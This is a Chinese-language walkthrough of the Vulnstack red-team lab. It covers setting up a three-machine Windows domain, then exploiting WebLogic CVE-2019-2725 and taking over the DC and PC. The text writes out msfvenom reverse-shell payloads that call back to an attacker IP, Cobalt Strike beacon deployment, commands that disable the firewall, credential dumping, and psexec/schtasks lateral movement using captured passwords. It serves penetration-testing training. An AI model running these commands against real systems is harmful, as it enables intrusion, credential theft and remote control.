环境搭建
靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
Bypass UAC
Windows系统NTLM获取(理论知识:Windows认证)
Access Token利用(MSSQL利用)
WMI利用
网页代理,二层代理,特殊协议代理(DNS,ICMP)
域内信息收集
域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
域凭证收集
后门技术(黄金票据/白银票据/Sid History/MOF)
文件下载下来解压后有三个文件夹,双击各个文件夹中的.vmx文件即可一键创建虚拟机,除了web靶机初始密码都为1qaz@WSX,WEB靶机需切换用户,用administrator管理员账号登录,没有密码,点击登录会提示更改密码,为了方便也设置成了1qaz@WSX
官方给的网络拓扑图
配置信息
DC
IP:10.10.10.10
OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008(64)
应用:Weblogic 10.3.6MSSQL 2008
PC
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7(32)
攻击机
IP:192.168.111.1
OS:Windows 10(64)
IP:192.168.111.128
OS:KALI(64)
根据IP配置虚拟机网卡
首先需要两个网卡,一个NAT,一个仅主机模式
我用的是2和5
右击虚拟机,点击设置->网络适配器->自定义,然后换成对应自己设置的网卡
DC
PC
WEB
至此环境搭建已经完成
外网渗透(攻击WEB)
WEB
IP1:10.10.10.80
IP2:192.168.111.80
先攻击公网IP:192.168.111.80
信息收集
全面扫描端口、版本、脚本……
nmap 192.168.111.80 -T4 -sV -p-
开放着7001weblogic端口
如果扫不到在web机器中C:\Oracle\Middleware\user_projects\domains\base_domain\bin右击startWeblogic以管理员身份运行
下载weblogic漏洞扫描工具
https://github.com/0xn0ne/weblogicScanner.git
扫描
python ws.py -t 192.168.111.80
发现存在很多历史漏洞
getshell
然后我们找这些历史漏洞的利用方式来getshell
利用工具对CVE-2019-2725进行利用
上传jsp木马
蚁剑连接
成功getshell
除此之外还可以直接通过msf搜索CVE-2019-2725,看看有没有可以利用的脚本
可以发现存在可利用脚本,用该脚本进行攻击
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set rhosts 192.168.111.80
set lhost 192.168.111.128
show targets
set target 1
run
成功拿到meterpreter
获取主机权限
CS方式
开启cs客户端和服务端
./teamserver 192.168.111.128 f14g
./cobaltstrike
本地连接
创建一个监听器
生成一个Windows木马
把木马上传至蚁剑中并执行
靶机成功上线
现在权限是administrator,我们可以给他提到system,选择对应的脚本
成功提权
这样就拿到主机的权限了
msf方式
getshell之后利用msf生成一个木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.128 lport=5555 -f exe > shell.exe
然后把生成的木马上传到蚁剑中
在kali上设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 5555
run
在蚁剑上执行shell.exe
拿到meterpreter
内网渗透
关闭防火墙
查看防火墙是否开启
# windows server 2003及以下版本:
netsh firewall show config
# window server 2003以上版本:
netsh advfirewall show allprofiles state
shell netsh advfirewall show allprofiles state
关闭防火墙
Windows server 2003及之前版本:
netsh firewall set opmode disable #关闭
netsh firewall set opmode enable #开启
Windows server 2003之后版本:
netsh advfirewall set allprofiles state off #关闭
netsh advfirewall set allprofiles state on #开启
shell netsh advfirewall set allprofiles state off
再查看一下防火墙是否关闭
版本信息收集
shell systeminfo
查看登录域
shell net config workstation
获取主机杀软信息
利用的是梼杌插件,自己可以自行下载
存在三种杀软
查看域内机器
net group "domain computers" /domain #查看当前域内机器
net group "domain controllers" /domain #查看域控
net group "domain admins" /domain #查看域管理员用户
通过pingDC,PC获取IP地址
shell ping DC
IP:10.10.10.10
shell ping PC
IP:10.10.10.201
hashdump
logonpasswords
根据得到的密码(而且我们扫描端口的时候发现3389端口开放着)可以使用rdesktop进行远程连接
横向移动(攻击DC,PC)
使用梼杌上传fscan
然后运行fscan
扫描到10.10.10.0这个网段的端口开放和一些漏洞情况
SMB beacon横向移动
会反弹出一个子会话
然后我们回到这个新派生出来的会话上,右键点击interact,在beacon里输入以下命令
# 创建连接,admin$可以理解为共享了主机的控制权,账号密码为我们之前抓取的。
shell net use \\10.10.10.10\admin$ /user:"Administrator" "1qaz@WSX"
ls \\10.10.10.10\c$ #查看连接是否建立成功
jump psexec64 10.10.10.10 smb # 建立smb beacon连接,最后的smb是我的smb listener 的名字。
net use \\IP地址\admin$ /delete #删除链接
记录存活主机
进行端口扫描,主要是想cs的Targets中记录一下存活主机,之前利用梼杌插件中的fscan扫描主机,cs的Targets中是没有记录的。
listeners创建一个payload为 Beacon SMB的监听,然后保存。
获取域权限
在目标主机图表上右击,jump–>psexec64或者psexec,选择管理员账号,在填写上listener和session信息,直接选择launch发动,成功获取域控权限。
成功获取DC权限
然后portscan DC
发现不太行
有可能是开着防火墙呢
但是有思路可以参考
尝试用计划任务连接PC
控制web主机和PC建立IPC连接
shell net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator
然后我们用cs生成一个新的木马上传到web主机上,然后在web主机上执行如下命令,将木马远程复制到PC上
shell copy C:\Users\administrator.WEB\Desktop\beacon.exe \\10.10.10.201\c$
检查是否上传成功
shell dir \\10.10.10.201\c$
然后利用计划任务运行该木马
#创建计划任务
schtasks /create /tn "sec" /tr c:\\beacon.exe /sc once /st 20:40 /S 10.10.10.201 /RU System /u administrator /p "1qaz@WSX"
#立即执行计划任务
schtasks /run /tn "sec" /S 10.10.10.201 /u administrator /p "1qaz@WSX"
#删除计划任务
参考文章: